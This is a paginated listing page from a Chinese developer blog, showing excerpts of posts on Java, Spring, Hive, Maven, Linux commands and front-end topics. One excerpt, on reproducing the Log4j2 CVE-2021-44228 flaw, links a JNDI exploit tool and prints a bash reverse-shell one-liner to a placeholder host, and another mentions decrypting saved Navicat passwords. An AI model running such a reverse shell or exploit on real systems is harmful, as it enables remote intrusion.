Java

8.4

今天早上去地里打药,下午在家做题,晚上学习Java

java word转pdf

经过几天研究 有以下方式: 最开始采用docx4j 到最后结果发现格式有问题,表格中文可以换行,但是数字和字符并没有换行(弃用) 当文档中含有中文字符时,该段代码的执行需要调用操作系统的本地字体库支持,否则所有中文字符都将乱码。 该段代码如果想要在Linux服务器上完美运行,需要给Linux服务器安装中文字体库 如何在Linux环境安装Windows字体库,将在本人的另一篇文章里详细讲解 Jav

maven 插件开发

前言# 众所周知,maven 实质上是一个插件执行框架,所有的工作都是通过插件完成的。包括我们日常使用到的类似 install、clean、deploy、compiler。。。这些命令,其实底层都是一个一个的 maven 插件。 如何开发自己的插件# 1. maven 插件的命名规范# 在写一个项目之前,第一件事就是确定一个名称。maven 插件也不例外。它有着自己的一套命名规范。但是规范很简

【SpringBoot学习】8、SpringBoot整合Spring Security

前言 Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。提供了完善的认证机制和方法级的授权功能。是一款非常优秀的权限管理框架。它的核心是一组过滤器链,不同的功能经由不同的过滤器。这篇文章就是想通过一个小案例将Spring Security整合到SpringBoot中去。要实现的功能就是在认证服务器上登录,然后获取Token,再访问资源服务器中的资源。 基本概念 先

Hive Merge详解

说明Hive在2.2版本之后开始支持Merge操作,并且Merge只能在支持ACID的表上执行 语法 建表语句 导入数据 在导入目标表数据会遇到以下问题 错误一: 错误二: 错误三: 修改完以上三个参数之后,导入数据成功 Merge操作 查看结果 至此,我们就完美实现了Hive的Merge操作! 扩展delete操作既然我们已经是事务

Mac中使用Keytool生成证书以及获取公钥方案实现

Keytool是java中提供的一个证书管理工具 如何生成证书? 首先在Mac中新建一个文件夹,名为jks,如下图所示: 新建jks文件夹 然后在聚焦搜索里面搜索终端,打开terminal相当于windows中的cmd命令窗口,打开之后输入以下命令 cd jkskeytool -genkeypair -alias test -keyalg RSA -keypass testing -keysto

CVE-2021-44228 Apache log4j2远程代码执行漏洞

 漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javaruntimebash编码 https://www.jackson-

SpringCloud-Hystrix服务熔断与降级工作原理&源码

先附上Hystrix源码图 在微服务架构中,根据业务来拆分成一个个的服务,服务与服务之间可以相互调用(RPC),在Spring Cloud可以用RestTemplate+Ribbon和Feign来调用。为了保证其高可用,单个服务通常会集群部署。由于网络原因或者自身的原因,服务并不能保证100%可用,如果单个服务出现问题,调用这个服务就会出现线程阻塞,此时若有大量的请求涌入,Servlet容器的线

当一屏时在safari浏览器下方有遮挡栏影响一屏的解决方法

function appHeight() {   const doc = document.documentElement;   doc.style.setProperty('--vh', (window.innerHeight * .01) + 'px'); } window.addEventListener('resize', appHeight); appHeight();   

使用php或js生成条形码、二维码

最近要开发一个打印物品铭牌标签的页面,从DB里面调出信息,打印出带n个条形码(水平和竖直方向都有)的12*10cm的标签,这种应用以前接触的少,特意研究记录下。 要打印非标准纸张,首先需要在目标打印机上新建纸张类型,规格设置为12*10cm,步骤如下: 设置-设备-打印机和扫描仪-打印服务器属性-创建新纸张规格,新的规格设置完成后设置为默认规格。 可以使用js或者php生成: 1 使用php生成&

@Value为什么无法为静态属性注入值

在Spring框架中,@Value注解通常用于注入配置属性值。然而,对于静态变量,你不能直接使用@Value进行注入。这是因为在Spring实例化bean时,静态变量已经被初始化,而这个过程发生在Spring注入属性之前。 这并不意味着你不能为静态属性注入值,只是不能直接使用@Value。你可以通过一个非静态方法来间接地为静态属性赋值,该方法可以使用@Value。以下是一个例子: 在这个例子中,

linux ps命令详解

参考文章:《linux ps命令详解》 ps命令的用法如下: options表示命令参数,详细的参数列表如下: -A 显示所有进程(等价于-e)-a 显示一个终端的所有进程,除了会话引线-e 显示所有进程(等价于-A)-N 忽略选择-d 显示所有进程,但省略所有的会话引线-x 显示没有控制终端的进程,同时显示各个命令的具体路径。dx不可合用-p pid 进程使用cpu的时间-u uid or

基于Go编写一个可视化Navicat本地密码解析器

前提 开发小组在测试环境基于docker构建和迁移一个MySQL8.x实例,过程中大意没有记录对应的用户密码,然后发现某开发同事本地Navicat记录了根用户,于是搜索是否能够反解析Navicat中的密码掩码(这里可以基本断定Navicat对密码是采用了对称加密算法),于是发现了这个仓库: how-does-navicat-encrypt-password 密码的解密算法显然是被泄露了,那么就

application.yml文件中开启mybatis自动驼峰映射

application.yml文件中开启mybatis自动驼峰映射 如果不开启映射 在使用BaseMapper 和Iservice封装的方法时 会报错 如果在Mapper.xml文件中自己写sql语句 在selsect* 或者其他字段名自己指定清楚的情况下 不会报错 但同样无法正确返回数据 道理很简单 因为数据库数据 写不到java的属性名里 只是查询能查到 不会报错 sql查询默认查询j

高效构建 vivo 企业级网络流量分析系统

作者:vivo 互联网服务器团队- Ming Yujia 随着网络规模的快速发展,网络状况的良好与否已经直接关系到了企业的日常收益,故障中的每一秒都会导致大量的用户流失与经济亏损。因此,如何快速发现网络问题与定位异常流量已经成为大型企业内必须优先解决的问题,诸多网络流量分析技术也同时应运而生。 一、概述 随着网络规模的快速发展,网络状况的良好与否已经直接关系到了企业的日常收益,故障中的每一秒都

jdk安装以及环境变量的配置

上课笔记 鼠标右键 “此电脑” 选择属性# * jdk安装以及环境变量的配置&运行程序HelloWorld 🔳🔳🔳🔳🔳🔳🔳🔳🔳🔳 100% jdk安装以及环境变量的配置 下载jdk1.8。 下载地址 https://www.oracle.com/java/technologies/downloads/#java8 下载完成后的文件 *安装jdk1.8。 鼠标双击运行,

【快应用】adbutton如何直接下载广告而不跳落地页再下载

​ 【关键词】 原生广告、adbutton、下载   【问题背景】 快应用中的原生广告推出了adbutton组件来直接下载广告app,在使用的时候,点击adbutton按钮的安装文案,不是直接下载广告app,而是跳转到落地页后直接下载,这种情形该如何解决? 相关代码: <template> <!-- Only one root node is allo

【AGC】云函数FAQ

整理了一些近期云函数使用遇见的常见问题,供大家开发时进行参考   1、云函数有定时任务吗? 答:可以使用云函数提供的CRON触发器在指定的时间点来触发云函数,来满足定时任务的需求。   2、一个custom runtime函数包 对应一个业务函数 还是可以所有的业务都可以写到里面 ,是的话 如何区分是是哪个请求。 答:AGC的前端现在http触发器只能创建一个,没有办法区分请求

【HarmonyOS】API9网络buffer图片加载

​ 【引言】 HarmonyOS中加载网络图片常用的方法是直接给Image组件添加图片的网络地址,申请网络权限ohos.permission.INTERNET后就可以通过url加载对应的图片了,如HarmonyOS官网中的写法: Image('https://www.example.com/example.JPG')   【问题概述】 但是日常开发中有些图片是存储云服务器中

线上查找CPU过高的原因

第一步:top命令查看占用CPU的pid    ps aux | grep pid 确认一下进程的详细情况    也可以使用jps显示java的pid 第二步:top -H -p pid  查找进程下面的线程id,显示线程的cpu的占用时间,占用比例,发现有很多个线程都会CPU占用很高,只能每个排查。 第三步:jstack查看线程信息,命令: js

mybatis_plus

Mybatis-plus 1. 快速入门 1.建数据库 2. 导入依赖 3. 连接数据库 4. 传统的 pojo-dao(连接mybatis,配置mapper.xml文件)-service-controller 4. 使用了Mybatis-plus之后 pojo mapper接口 注意点:我们需要在主动类上去扫描mapper包下的所有接口 使用 2. 配置日志

Java反射与自定义注解实现不同Bean属性映射的高效解决方案

假设现有一个叫user的bean,里面有username、passsword、sex、createTime这四个属性,需要实现一个功能,把其它bean里的字段分别映射到user里的username、passsword、sex、createTime这几个属性上,然后可以根据其它的bean的实例自动转化为user的实例(填充对应属性值),下面是代码实现。 Java反射与自定义注解实现不同Bean属性映

ChatGPT 问答00011 Spring框架事件驱动使用案例

以下是一个使用Spring框架的事件驱动机制的简单案例: 定义事件类: 编写事件发布者: 编写事件监听器: 配置事件发布者和监听器: 在Spring配置文件中进行配置,或使用注解方式进行配置。 XML配置方式: 注解方式: 在上述案例中,当OrderService的createOrder()方法被调用时,它将创建一个OrderEvent并发布该事件。EmailNotifi

IDEA编译封装APK及发布流程指导

IDEA编译封装APK及发布流程指导 目录IDEA编译封装APK及发布流程指导1、安装Android SDK2、创建Android项目3、项目结构4、运行环境准备5、安卓虚拟机运行APP6、发布APK 注:以下步骤基于IDEA Community 2023.1.1版本操作 1、安装Android SDK 一开始检查无SDK安装,点击next进行安装: 修改安装的内容,默认安装SDK即可,修改安

less 和 sass 的区别

一、编译环境不同? 二、变量符不一样 三、使用方法 四、输出设置 less没有输出设置,sass提供4中输出选项:nested, compact, compressed 和 expanded。 五、Sass和Less的工具库不同 六、总结 ———————————————— 版权声明:本文为CSDN博主「h1227867772」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上

Django使用本地css/js文件

在网上看了很多说Django如何使用本地css/js的文章, 但都不能用 今天终于找到一个可以用的, 记录下 在manager.py同层级下创建static文件夹, 里面放上css , js, image等文件或者文件夹 我的文件夹层级 然后很简单,只需在settings.py中进行设置就行, 在末尾添加以下代码 STATIC_URL = '/static/' HERE = os.path

实现地图遮罩 leaflet

1 前言 在地图中加载的底图是瓦片服务(固定大小的规则矩形),底图的范围很大,铺满了整个div,但是我们的感兴趣的部门可能只是其中一部分,如何在整个屏幕中突出感兴趣的部分-- 地图遮罩(遮挡图像中不感兴趣的部分)。最常见的用处是突出行政区内部区域。 图1 湖南省遮罩 2 实现方法 地图遮罩实现思路:在大范围区域的内部挖洞(感兴趣部分),矩形中挖出行政区边界 在leaflet中常用L.polygo

《介绍篇》c#的起源

c#的起源 参考链接:https://blog.csdn.net/Heibai_yuheibai/article/details/119738666 c++出现 1975年微软公司成立,刚开始它并不是做操作系统的,而是做PC编程软件的,我们熟知的BASIC,就是比尔盖茨把它移植到了PC上。记得80年那会小霸王学习机上还有BASIC。 1980年,IBM选择微软为其编写操作系统,当然很大原因是因为盖

Flutter 踩坑集锦

首先,中文网位置: Flutter中文网 官网位置 Flutter官网 环境和安装(win10) win10+ 开启虚拟化(这个倒是无所谓) JAVA & PATH中JAVA_HOME的设置 下载flutter或git clone flutter的仓库 Android Studio SDK下载,并把SDK的路径写入path VisualStudio下载,安装时勾选 C++ 桌面程

<<  <  849  850  851  852  853  854  855  856  857  858  859  >  >>